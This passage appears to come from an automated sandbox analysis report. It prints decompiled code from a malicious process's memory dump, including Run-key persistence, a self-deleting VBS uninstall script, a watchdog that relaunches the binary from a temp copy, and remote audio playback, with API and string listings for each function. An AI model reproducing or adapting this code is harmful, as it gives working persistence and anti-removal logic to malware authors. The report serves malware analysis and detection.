				_t248 =  *0x472b30 - 1; // 0x1
				if(_t248 == 0) {
					E00413971(0x80000002, _t231, E00401F04(0x4752c0));
				}
				_t249 =  *0x472b31 - 1; // 0x0
				if(_t249 == 0) {
					E00413971(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", E00401F04(0x4752c0));
				}
				_t53 = E0040247C();
				_t54 = E00401FAB(0x475338);
				_t57 = E00413646(E00401FAB(0x4752f0), "exepath",  &_v524, 0x208, _t54, _t53);
				_t250 = _t57;
				if(_t57 == 0) {
					GetModuleFileNameW(0,  &_v524, 0x208);
				}
				RegDeleteKeyA(0x80000001, E00401FAB(0x4752f0));
				_t61 = SetFileAttributesW( &_v524, 0x80);
				_t140 = 0x475308;
				asm("sbb bl, bl");
				_t134 =  ~_t61 & 0x00000001;
				_t62 = E004077B7(_t250);
				_t251 = _t62;
				if(_t62 != 0) {
					_t140 = 0x475308;
					SetFileAttributesW(E00401F04(0x475308), 0x80);
				}
				E00403014(_t134,  &_v600, E0040417E(_t134,  &_v668, 0x466468, 0x466468, E0043C01F(_t134, _t140, _t251, L"Temp")), 0, 0x466468, _t251, L"\\update.vbs");
				E00401F09();
				_t67 = E0040417E(_t134,  &_v672, _t64, 0x466468, L"Set fso = CreateObject(\"Scripting.FileSystemObject\")\n");
				_t218 = L"On Error Resume Next\n";
				E004042FC(_t134,  &_v700, L"On Error Resume Next\n", 0x466468, _t251, _t67);
				E00401F09();
				_t252 = _t134;
				if(_t134 != 0) {
					_t218 = E004042FC(_t134,  &_v648, L"while fso.FileExists(\"", 0x466468, _t252, E0040417E(_t134,  &_v620, L"On Error Resume Next\n", 0x466468,  &_v524));
					E0040325D(E00403014(_t134,  &_v672, _t109, 0, 0x466468, _t252, L"\")\n"));
					E00401F09();
					E00401F09();
					E00401F09();
				}
				_t237 = L"\"\n";
				E0040325D(E00403014(_t134,  &_v624, E00403014(_t134,  &_v648, E0040417E(_t134,  &_v668, _t218, 0x466468, L"fso.DeleteFile \""), 0, 0x466468, _t252,  &_v524), 0, 0x466468, _t252, L"\"\n"));
				E00401F09();
				E00401F09();
				E00401F09();
				_t253 = _t134;
				if(_t134 != 0) {
					_t26 =  &_v692; // 0x467068
					L00409052(_t134, _t26, 0, 0x466468, L"wend\n");
				}
				_t221 = 0x466468;
				_t78 = E004077B7(_t253);
				_t254 = _t78;
				if(_t78 != 0) {
					_t221 = E0040B8CA( &_v644, L"fso.DeleteFolder \"", 0x466468, 0x475308);
					E0040325D(E00403014(0x475308,  &_v620, _t101, 0, 0x466468, _t254, _t237));
					E00401F09();
					E00401F09();
				}
				_t79 = E0040417E(0x475308,  &_v548, _t221, 0x466468, L"\"\"\", 0");
				E0040325D(E00403014(0x475308,  &_v628, E00402FA5( &_v652, E0040431D(0x475308,  &_v676, E0040417E(0x475308,  &_v576, _t221, 0x466468, L"CreateObject(\"WScript.Shell\").Run \"cmd /c \"\""), 0x466468, _t254,  &_v0), _t79), 0, 0x466468, _t254, "\n"));
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				_t44 =  &_v704; // 0x467130
				L00409052(0x475308, _t44, 0, 0x466468, L"fso.DeleteFile(Wscript.ScriptFullName)");
				_t92 = E00401F04( &_v612);
				_t93 = E0040247C();
				_t47 =  &_v708; // 0x467130
				E00401F04(_t47);
				if(E0041C343(_t93 + _t93, _t92, 0) != 0 && ShellExecuteW(0, L"open", E00401F04( &_v596), 0x466468, 0x466468, 0) > 0x20) {
					ExitProcess(0);
				}
				E00401F09();
				E00401F09();
				return E00401F09();
			}
















































                                    0x0040d36e
                                    0x0040d378
                                    0x0040d384
                                    0x0040d38b
                                    0x0040d38b
                                    0x0040d393
                                    0x0040d399
                                    0x0040d39b
                                    0x0040d39b
                                    0x0040d3a7
                                    0x0040d3b5
                                    0x0040d3b5
                                    0x0040d3bf
                                    0x0040d3c4
                                    0x0040d3ca
                                    0x0040d3db
                                    0x0040d3e0
                                    0x0040d3e6
                                    0x0040d3ec
                                    0x0040d3fa
                                    0x0040d3ff
                                    0x0040d400
                                    0x0040d406
                                    0x0040d417
                                    0x0040d41c
                                    0x0040d424
                                    0x0040d42c
                                    0x0040d453
                                    0x0040d45d
                                    0x0040d45f
                                    0x0040d46b
                                    0x0040d46b
                                    0x0040d47e
                                    0x0040d497
                                    0x0040d4a4
                                    0x0040d4a9
                                    0x0040d4ab
                                    0x0040d4ae
                                    0x0040d4b3
                                    0x0040d4b5
                                    0x0040d4bc
                                    0x0040d4c7
                                    0x0040d4c7
                                    0x0040d4e9
                                    0x0040d4f3
                                    0x0040d501
                                    0x0040d507
                                    0x0040d510
                                    0x0040d51a
                                    0x0040d51f
                                    0x0040d521
                                    0x0040d549
                                    0x0040d55a
                                    0x0040d563
                                    0x0040d56c
                                    0x0040d575
                                    0x0040d575
                                    0x0040d57a
                                    0x0040d5b3
                                    0x0040d5bc
                                    0x0040d5c5
                                    0x0040d5ce
                                    0x0040d5d3
                                    0x0040d5d5
                                    0x0040d5dc
                                    0x0040d5e0
                                    0x0040d5e0
                                    0x0040d5ea
                                    0x0040d5ee
                                    0x0040d5f3
                                    0x0040d5f5
                                    0x0040d608
                                    0x0040d619
                                    0x0040d622
                                    0x0040d62b
                                    0x0040d62b
                                    0x0040d641
                                    0x0040d689
                                    0x0040d692
                                    0x0040d69b
                                    0x0040d6a4
                                    0x0040d6b0
                                    0x0040d6bc
                                    0x0040d6c6
                                    0x0040d6ca
                                    0x0040d6d4
                                    0x0040d6de
                                    0x0040d6e5
                                    0x0040d6eb
                                    0x0040d6fd
                                    0x0040d71e
                                    0x0040d71e
                                    0x0040d728
                                    0x0040d731
                                    0x0040d74c

                                    APIs
                                      • Part of subcall function 0041279E: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F816), ref: 004127AE
                                      • Part of subcall function 0041279E: WaitForSingleObject.KERNEL32(000000FF), ref: 004127C1
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D46B
                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D47E
                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D497
                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D4C7
                                      • Part of subcall function 0040B7FA: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D006,004752D8,004752F0,?,pth_unenc), ref: 0040B809
                                      • Part of subcall function 0040B7FA: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B815
                                      • Part of subcall function 0040B7FA: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B823
                                      • Part of subcall function 0041C343: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466468,00000000,00000000,0040D347,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041C382
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D712
                                    • ExitProcess.KERNEL32 ref: 0040D71E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                    • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                    • API String ID: 1861856835-332907002
                                    • Opcode ID: 6d55f1ac73a2c72da63a0c85a08ae5ca30654a911e7945ba4172ef4902392569
                                    • Instruction ID: 7b1d7725a1afd159a65ee50a04485d58d510ba01952dbdff0a11e96c77a60447
                                    • Opcode Fuzzy Hash: 6d55f1ac73a2c72da63a0c85a08ae5ca30654a911e7945ba4172ef4902392569
                                    • Instruction Fuzzy Hash: 3791B3716082005AC315FB62D892AAF77A9AF90309F10443FB54AA31E3FF7C9D49C65E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040CFE4 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 98%
                                    			E0040CFE4() {
				short _v524;
				char _v548;
				char _v572;
				char _v576;
				char _v596;
				char _v600;
				void* _v604;
				char _v620;
				char _v624;
				void* _v628;
				char _v644;
				char _v648;
				char _v652;
				char _v668;
				char _v672;
				void* _v676;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				void* _t71;
				void* _t82;
				void* _t84;
				void* _t85;
				signed char _t123;
				signed char _t124;
				void* _t196;
				void* _t229;
				void* _t231;
				void* _t232;
				void* _t233;

				E0041279E();
				if( *0x47513c != 0) {
					E0040B7FA(0x4750f0);
				}
				_t229 =  *0x472d63 - 1; // 0x0
				if(_t229 == 0) {
					E004199E6(_t196, _t229);
				}
				if( *0x472a85 != 0) {
					E0041C1E3(E00401F04(0x474d64), _t196);
				}
				_t214 = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
				_t231 =  *0x472b33 - 1; // 0x1
				if(_t231 == 0) {
					E00413971(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", E00401F04(0x4752c0));
				}
				_t232 =  *0x472b30 - 1; // 0x1
				if(_t232 == 0) {
					E00413971(0x80000002, _t214, E00401F04(0x4752c0));
				}
				_t233 =  *0x472b31 - 1; // 0x0
				if(_t233 == 0) {
					E00413971(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", E00401F04(0x4752c0));
				}
				E00436DE0(0,  &_v524, 0, 0x208);
				_t49 = E0040247C();
				_t50 = E00401FAB(0x475338);
				_t53 = E00413646(E00401FAB(0x4752f0), "exepath",  &_v524, 0x208, _t50, _t49);
				_t234 = _t53;
				if(_t53 == 0) {
					GetModuleFileNameW(0,  &_v524, 0x208);
				}
				RegDeleteKeyA(0x80000001, E00401FAB(0x4752f0));
				_t56 = E004077B7(_t234);
				_t235 = _t56;
				if(_t56 != 0) {
					SetFileAttributesW(E00401F04(0x475308), 0x80);
				}
				_t123 =  ~(SetFileAttributesW( &_v524, 0x80));
				asm("sbb bl, bl");
				E00403014(_t123,  &_v548, E0041BBB0( &_v620, E0041B8CA( &_v668)), 0, 0x466468, _t235, L".vbs");
				E00401F09();
				E00401FD8();
				E0040431D(_t123,  &_v576, E00403014(_t123,  &_v672, E0040417E(_t123,  &_v620, _t60, 0x466468, E0043C01F(_t123,  &_v668, _t235, L"Temp")), 0, 0x466468, _t235, "\\"), 0x466468, _t235,  &_v548);
				E00401F09();
				E00401F09();
				_t71 = E0040417E(_t123,  &_v672, _t67, 0x466468, L"Set fso = CreateObject(\"Scripting.FileSystemObject\")\n");
				_t203 = L"On Error Resume Next\n";
				E004042FC(_t123,  &_v652, L"On Error Resume Next\n", 0x466468, _t235, _t71);
				E00401F09();
				_t124 = _t123 & 0x00000001;
				_t236 = _t124;
				if(_t124 != 0) {
					_t203 = E004042FC(_t124,  &_v624, L"while fso.FileExists(\"", 0x466468, _t236, E0040417E(_t124,  &_v596, L"On Error Resume Next\n", 0x466468,  &_v524));
					E0040325D(E00403014(_t124,  &_v672, _t98, 0, 0x466468, _t236, L"\")\n"));
					E00401F09();
					E00401F09();
					E00401F09();
				}
				E0040325D(E00403014(_t124,  &_v600, E00403014(_t124,  &_v672, E0040417E(_t124,  &_v620, _t203, 0x466468, L"fso.DeleteFile \""), 0, 0x466468, _t236,  &_v524), 0, 0x466468, _t236, L"\"\n"));
				E00401F09();
				E00401F09();
				E00401F09();
				_t237 = _t124;
				if(_t124 != 0) {
					L00409052(_t124,  &_v644, 0, 0x466468, L"wend\n");
				}
				_t82 = E004077B7(_t237);
				_t238 = _t82;
				if(_t82 != 0) {
					_t36 =  &_v668; // 0x467068
					E0040325D(E00403014(_t124,  &_v596, E0040B8CA(_t36, L"fso.DeleteFolder \"", 0x466468, 0x475308), 0, 0x466468, _t238, L"\"\n"));
					E00401F09();
					E00401F09();
				}
				L00409052(_t124,  &_v644, 0, 0x466468, L"fso.DeleteFile(Wscript.ScriptFullName)");
				_t84 = E00401F04( &_v576);
				_t85 = E0040247C();
				E00401F04( &_v648);
				if(E0041C343(_t85 + _t85, _t84, 0) != 0) {
					ShellExecuteW(0, L"open", E00401F04( &_v572), 0x466468, 0x466468, 0);
				}
				ExitProcess(0);
			}


































                                    0x0040cfee
                                    0x0040cffa
                                    0x0040d001
                                    0x0040d001
                                    0x0040d009
                                    0x0040d00f
                                    0x0040d011
                                    0x0040d011
                                    0x0040d01d
                                    0x0040d02b
                                    0x0040d02b
                                    0x0040d035
                                    0x0040d03a
                                    0x0040d040
                                    0x0040d051
                                    0x0040d056
                                    0x0040d05c
                                    0x0040d062
                                    0x0040d070
                                    0x0040d075
                                    0x0040d076
                                    0x0040d07c
                                    0x0040d08d
                                    0x0040d092
                                    0x0040d0a4
                                    0x0040d0b3
                                    0x0040d0bb
                                    0x0040d0dd
                                    0x0040d0e5
                                    0x0040d0e7
                                    0x0040d0f3
                                    0x0040d0f3
                                    0x0040d106
                                    0x0040d11a
                                    0x0040d125
                                    0x0040d127
                                    0x0040d136
                                    0x0040d136
                                    0x0040d14d
                                    0x0040d154
                                    0x0040d16f
                                    0x0040d179
                                    0x0040d182
                                    0x0040d1bb
                                    0x0040d1c5
                                    0x0040d1ce
                                    0x0040d1dc
                                    0x0040d1e2
                                    0x0040d1eb
                                    0x0040d1f5
                                    0x0040d1fa
                                    0x0040d1fa
                                    0x0040d1fd
                                    0x0040d225
                                    0x0040d236
                                    0x0040d23f
                                    0x0040d248
                                    0x0040d251
                                    0x0040d251
                                    0x0040d28e
                                    0x0040d297
                                    0x0040d2a0
                                    0x0040d2a9
                                    0x0040d2ae
                                    0x0040d2b0
                                    0x0040d2bb
                                    0x0040d2bb
                                    0x0040d2c9
                                    0x0040d2ce
                                    0x0040d2d0
                                    0x0040d2dd
                                    0x0040d2f8
                                    0x0040d301
                                    0x0040d30a
                                    0x0040d30a
                                    0x0040d318
                                    0x0040d322
                                    0x0040d32c
                                    0x0040d339
                                    0x0040d34b
                                    0x0040d360
                                    0x0040d360
                                    0x0040d367

                                    APIs
                                      • Part of subcall function 0041279E: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F816), ref: 004127AE
                                      • Part of subcall function 0041279E: WaitForSingleObject.KERNEL32(000000FF), ref: 004127C1
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D0F3
                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D106
                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D136
                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D145
                                      • Part of subcall function 0040B7FA: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D006,004752D8,004752F0,?,pth_unenc), ref: 0040B809
                                      • Part of subcall function 0040B7FA: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B815
                                      • Part of subcall function 0040B7FA: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B823
                                      • Part of subcall function 0041B8CA: GetCurrentProcessId.KERNEL32(00000000,746CFBB0,00000000,?,?,?,?,00466468,0040D15B,.vbs,?,?,?,?,?,004752F0), ref: 0041B8F1
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D360
                                    • ExitProcess.KERNEL32 ref: 0040D367
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                    • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                                    • API String ID: 3797177996-2557013105
                                    • Opcode ID: 64c0300b9a574fa60c0e2b18142ed842bee16e0ad4f2b4b745abf21f01b385a2
                                    • Instruction ID: b41af1fbe38d14307bdf1656b95f550ac33fb02a8f35275e57c6bb000ea2679e
                                    • Opcode Fuzzy Hash: 64c0300b9a574fa60c0e2b18142ed842bee16e0ad4f2b4b745abf21f01b385a2
                                    • Instruction Fuzzy Hash: A48190716082005BC719FB62D852AAF77A9AFD1308F10443FB14A671E2EF7C9E49C65E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004123C3 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E004123C3() {
				long _v8;
				char _v32;
				short _v556;
				short _v1076;
				short _v1596;
				CHAR* _t24;
				void* _t26;
				void* _t27;
				void* _t30;
				int _t32;
				long _t38;
				int _t40;
				int _t42;
				long _t51;
				int _t53;
				void* _t56;
				int _t58;
				void* _t69;
				int _t71;
				int _t72;
				int _t73;
				long _t74;
				void* _t112;
				void* _t114;
				void* _t116;
				void* _t119;

				_v8 = _t74;
				_t24 = E00401FAB(0x475418);
				_t72 = 0;
				if(CreateMutexA(0, 1, _t24) != 0) {
					_t26 = E0040247C();
					_t27 = E00401FAB(0x475338);
					_t30 = E00413646(E00401FAB(0x4752f0), "exepath",  &_v556, 0x208, _t27, _t26);
					_t119 = _t119 + 0x14;
					if(_t30 != 0) {
						E004020DF(0,  &_v32);
						_t32 = E0041C3D7( &_v32);
						_push(0);
						__eflags = _t32;
						if(_t32 == 0) {
							L2:
							ExitProcess();
						}
						CreateFileW( &_v556, 0x80000000, 1, 0, 3, 0x80, ??);
						_t114 = OpenProcess(0x100000, 0, _v8);
						WaitForSingleObject(_t114, 0xffffffff);
						CloseHandle(_t114);
						_t38 = GetCurrentProcessId();
						_t40 = E004137C5(0x4752f0, E00401FAB(0x4752f0), "WDH", _t38);
						__eflags = _t40;
						if(_t40 == 0) {
							goto L1;
						}
						_t112 = ShellExecuteW;
						do {
							_t42 = PathFileExistsW( &_v556);
							__eflags = _t42;
							_t43 =  &_v556;
							if(_t42 != 0) {
								L13:
								ShellExecuteW(_t72, L"open", _t43, _t72, _t72, 1);
								L14:
								do {
									_t73 = E00413497(E00401FAB(0x4752f0), "WD",  &_v8);
									__eflags = _t73;
									if(_t73 == 0) {
										Sleep(0x1f4);
									} else {
										E004138F7(E00401FAB(0x4752f0), __eflags, "WD");
									}
									__eflags = _t73;
								} while (_t73 == 0);
								goto L19;
							}
							_t56 = E0040247C();
							E00401FAB( &_v32);
							_t58 = E0041C343(_t56,  &_v556, _t72);
							__eflags = _t58;
							if(_t58 == 0) {
								E00436DE0(_t112,  &_v1596, _t72, 0x208);
								_t119 = _t119 + 0xc;
								GetTempPathW(0x104,  &_v1596);
								GetTempFileNameW( &_v1596, L"temp_", _t72,  &_v1076);
								lstrcatW( &_v1076, L".exe");
								_t69 = E0040247C();
								E00401FAB( &_v32);
								_t71 = E0041C343(_t69,  &_v1076, _t72);
								__eflags = _t71;
								if(_t71 == 0) {
									goto L14;
								}
								_t43 =  &_v1076;
								goto L13;
							}
							_t43 =  &_v556;
							goto L13;
							L19:
							_t72 = 0;
							_t116 = OpenProcess(0x100000, 0, _v8);
							WaitForSingleObject(_t116, 0xffffffff);
							CloseHandle(_t116);
							_t51 = GetCurrentProcessId();
							_t53 = E004137C5(0x4752f0, E00401FAB(0x4752f0), "WDH", _t51);
							__eflags = _t53;
						} while (_t53 != 0);
						goto L1;
					}
					_push(0);
					goto L2;
				}
				L1:
				_push(1);
				goto L2;
			}





























                                    0x004123ce
                                    0x004123d7
                                    0x004123df
                                    0x004123ea
                                    0x004123fb
                                    0x00412403
                                    0x00412428
                                    0x0041242d
                                    0x00412432
                                    0x0041243a
                                    0x00412448
                                    0x0041244d
                                    0x0041244e
                                    0x00412450
                                    0x004123ee
                                    0x004123ee
                                    0x004123ee
                                    0x00412468
                                    0x0041247d
                                    0x00412482
                                    0x00412489
                                    0x0041248f
                                    0x004124a4
                                    0x004124ab
                                    0x004124ad
                                    0x00000000
                                    0x00000000
                                    0x004124b3
                                    0x004124b9
                                    0x004124c0
                                    0x004124c6
                                    0x004124c8
                                    0x004124ce
                                    0x00412584
                                    0x0041258f
                                    0x00412591
                                    0x00412596
                                    0x004125ad
                                    0x004125b1
                                    0x004125b3
                                    0x004125d0
                                    0x004125b5
                                    0x004125c3
                                    0x004125c8
                                    0x004125d6
                                    0x004125d6
                                    0x00000000
                                    0x00412596
                                    0x004124d9
                                    0x004124e3
                                    0x004124ec
                                    0x004124f3
                                    0x004124f5
                                    0x0041250f
                                    0x00412514
                                    0x00412523
                                    0x0041253d
                                    0x0041254f
                                    0x00412560
                                    0x0041256a
                                    0x00412573
                                    0x0041257a
                                    0x0041257c
                                    0x00000000
                                    0x00000000
                                    0x0041257e
                                    0x00000000
                                    0x0041257e
                                    0x004124f7
                                    0x00000000
                                    0x004125da
                                    0x004125dd
                                    0x004125eb
                                    0x004125f0
                                    0x004125f7
                                    0x004125fd
                                    0x00412615
                                    0x0041261c
                                    0x0041261c
                                    0x00000000
                                    0x00412624
                                    0x00412434
                                    0x00000000
                                    0x00412434
                                    0x004123ec
                                    0x004123ec
                                    0x00000000

                                    APIs
                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 004123E2
                                    • ExitProcess.KERNEL32(00000000), ref: 004123EE
                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00412468
                                    • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412477
                                    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412482
                                    • CloseHandle.KERNEL32(00000000), ref: 00412489
                                    • GetCurrentProcessId.KERNEL32 ref: 0041248F
                                    • PathFileExistsW.SHLWAPI(?), ref: 004124C0
                                    • GetTempPathW.KERNEL32(00000104,?), ref: 00412523
                                    • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 0041253D
                                    • lstrcatW.KERNEL32(?,.exe), ref: 0041254F
                                      • Part of subcall function 0041C343: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466468,00000000,00000000,0040D347,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041C382
                                    • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0041258F
                                    • Sleep.KERNEL32(000001F4), ref: 004125D0
                                    • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 004125E5
                                    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004125F0
                                    • CloseHandle.KERNEL32(00000000), ref: 004125F7
                                    • GetCurrentProcessId.KERNEL32 ref: 004125FD
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                    • String ID: .exe$8SG$WDH$exepath$open$temp_
                                    • API String ID: 2649220323-436679193
                                    • Opcode ID: 632605a89b7d1e92b293d4216313f6e56dbdda3428dbc6390fc6f88f9e0e121d
                                    • Instruction ID: 21845685e155f59a43c29a903110f28247ba838375fe68efd603070d6c8a569a
                                    • Opcode Fuzzy Hash: 632605a89b7d1e92b293d4216313f6e56dbdda3428dbc6390fc6f88f9e0e121d
                                    • Instruction Fuzzy Hash: 7E51A571A00319BBDB10ABA09C99AFE336D9B04715F10446BF901E71D2EFBC8E858A5D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AF99 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 87%
                                    			E0041AF99(void* __ecx, void* __edx, char _a4) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				void* _v128;
				char _v176;
				char _v192;
				void* _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				void* _t26;
				void* _t41;
				long _t45;
				void* _t61;
				void* _t65;
				void* _t108;
				void* _t110;
				void* _t112;
				void* _t114;

				_t101 = __edx;
				_t114 =  &_v124;
				_t108 = __ecx;
				_t110 = __edx;
				if(E0041B1EE( &_a4, __ecx, __ecx) == 0xffffffff) {
					_t61 = E00401F04( &_a4);
					_t101 = 0x30;
					E00401F13( &_a4, 0x30, _t110, E0040D982( &_v124, 0x30, _t61));
					E00401F09();
				}
				_t23 = E0040247C();
				_t119 = _t23;
				if(_t23 == 0) {
					__eflags = PathFileExistsW(E00401F04( &_a4));
					if(__eflags != 0) {
						goto L4;
					} else {
						E00402093(_t65, _t114 - 0x18, _t101, _t112, 0x4660a4);
						_push(0xa8);
						E00404AA1(0x475980, _t101, __eflags);
					}
				} else {
					E0041C444(_t110, E00401F04( &_a4));
					L4:
					_t26 = E0041BBB0( &_v28, _t108);
					_t106 = E00402FA5( &_v124, E00403014(_t65,  &_v76, E0040B8CA( &_v52, L"open \"", _t112,  &_a4), _t108, _t112, _t119, L"\" type "), _t26);
					E00403014(_t65,  &_v100, _t30, _t108, _t112, _t119, L" alias audio");
					E00401F09();
					E00401F09();
					E00401F09();
					E00401F09();
					mciSendStringW(E00401F04( &_v100), 0, 0, 0);
					mciSendStringA("play audio", 0, 0, 0);
					_t115 = _t114 - 0x18;
					E00402093(0, _t114 - 0x18, _t30, _t112, 0x4660a4);
					_push(0xa9);
					E00404AA1(0x475980, _t30, 0);
					_t41 = CreateEventA(0, 1, 0, 0);
					while(1) {
						L5:
						 *0x474ad4 = _t41;
						while(1) {
							_t121 = _t41;
							if(_t41 == 0) {
								break;
							}
							__eflags =  *0x474ad1;
							if( *0x474ad1 != 0) {
								mciSendStringA("pause audio", 0, 0, 0);
								 *0x474ad1 = 0;
							}
							__eflags =  *0x474ad0;
							if( *0x474ad0 != 0) {
								mciSendStringA("resume audio", 0, 0, 0);
								 *0x474ad0 = 0;
							}
							mciSendStringA("status audio mode",  &_v176, 0x14, 0);
							_t45 = E0043FC50( &_v192, "stopped");
							__eflags = _t45;
							if(_t45 == 0) {
								SetEvent( *0x474ad4);
							}
							__eflags = WaitForSingleObject( *0x474ad4, 0x1f4);
							if(__eflags != 0) {
								_t41 =  *0x474ad4;
							} else {
								CloseHandle( *0x474ad4);
								_t41 = 0;
								goto L5;
							}
						}
						mciSendStringA("stop audio", 0, 0, 0);
						mciSendStringA("close audio", 0, 0, 0);
						E00402093(0, _t115 - 0x18, _t106, 0x475980, 0x4660a4);
						_push(0xaa);
						E00404AA1(0x475980, _t106, _t121);
						E00401F09();
						goto L19;
					}
				}
				L19:
				return E00401F09();
			}


























                                    0x0041af99
                                    0x0041af99
                                    0x0041afa1
                                    0x0041afa3
                                    0x0041afb5
                                    0x0041afbe
                                    0x0041afc4
                                    0x0041afd8
                                    0x0041afe1
                                    0x0041afe1
                                    0x0041afe8
                                    0x0041aff4
                                    0x0041aff6
                                    0x0041b0e6
                                    0x0041b0e8
                                    0x00000000
                                    0x0041b0ee
                                    0x0041b0f8
                                    0x0041b0fd
                                    0x0041b107
                                    0x0041b107
                                    0x0041affc
                                    0x0041b005
                                    0x0041b00a
                                    0x0041b015
                                    0x0041b04f
                                    0x0041b055
                                    0x0041b05f
                                    0x0041b068
                                    0x0041b071
                                    0x0041b07a
                                    0x0041b08e
                                    0x0041b0a2
                                    0x0041b0a4
                                    0x0041b0af
                                    0x0041b0b9
                                    0x0041b0c0
                                    0x0041b0ca
                                    0x0041b0d0
                                    0x0041b0d0
                                    0x0041b0d0
                                    0x0041b19e
                                    0x0041b19e
                                    0x0041b1a0
                                    0x00000000
                                    0x00000000
                                    0x0041b111
                                    0x0041b117
                                    0x0041b121
                                    0x0041b123
                                    0x0041b123
                                    0x0041b129
                                    0x0041b12f
                                    0x0041b139
                                    0x0041b13b
                                    0x0041b13b
                                    0x0041b14e
                                    0x0041b15a
                                    0x0041b161
                                    0x0041b163
                                    0x0041b16b
                                    0x0041b16b
                                    0x0041b182
                                    0x0041b184
                                    0x0041b199
                                    0x0041b186
                                    0x0041b18c
                                    0x0041b192
                                    0x00000000
                                    0x0041b192
                                    0x0041b184
                                    0x0041b1ae
                                    0x0041b1b8
                                    0x0041b1c0
                                    0x0041b1c5
                                    0x0041b1cc
                                    0x0041b1d5
                                    0x00000000
                                    0x0041b1d5
                                    0x0041b0d0
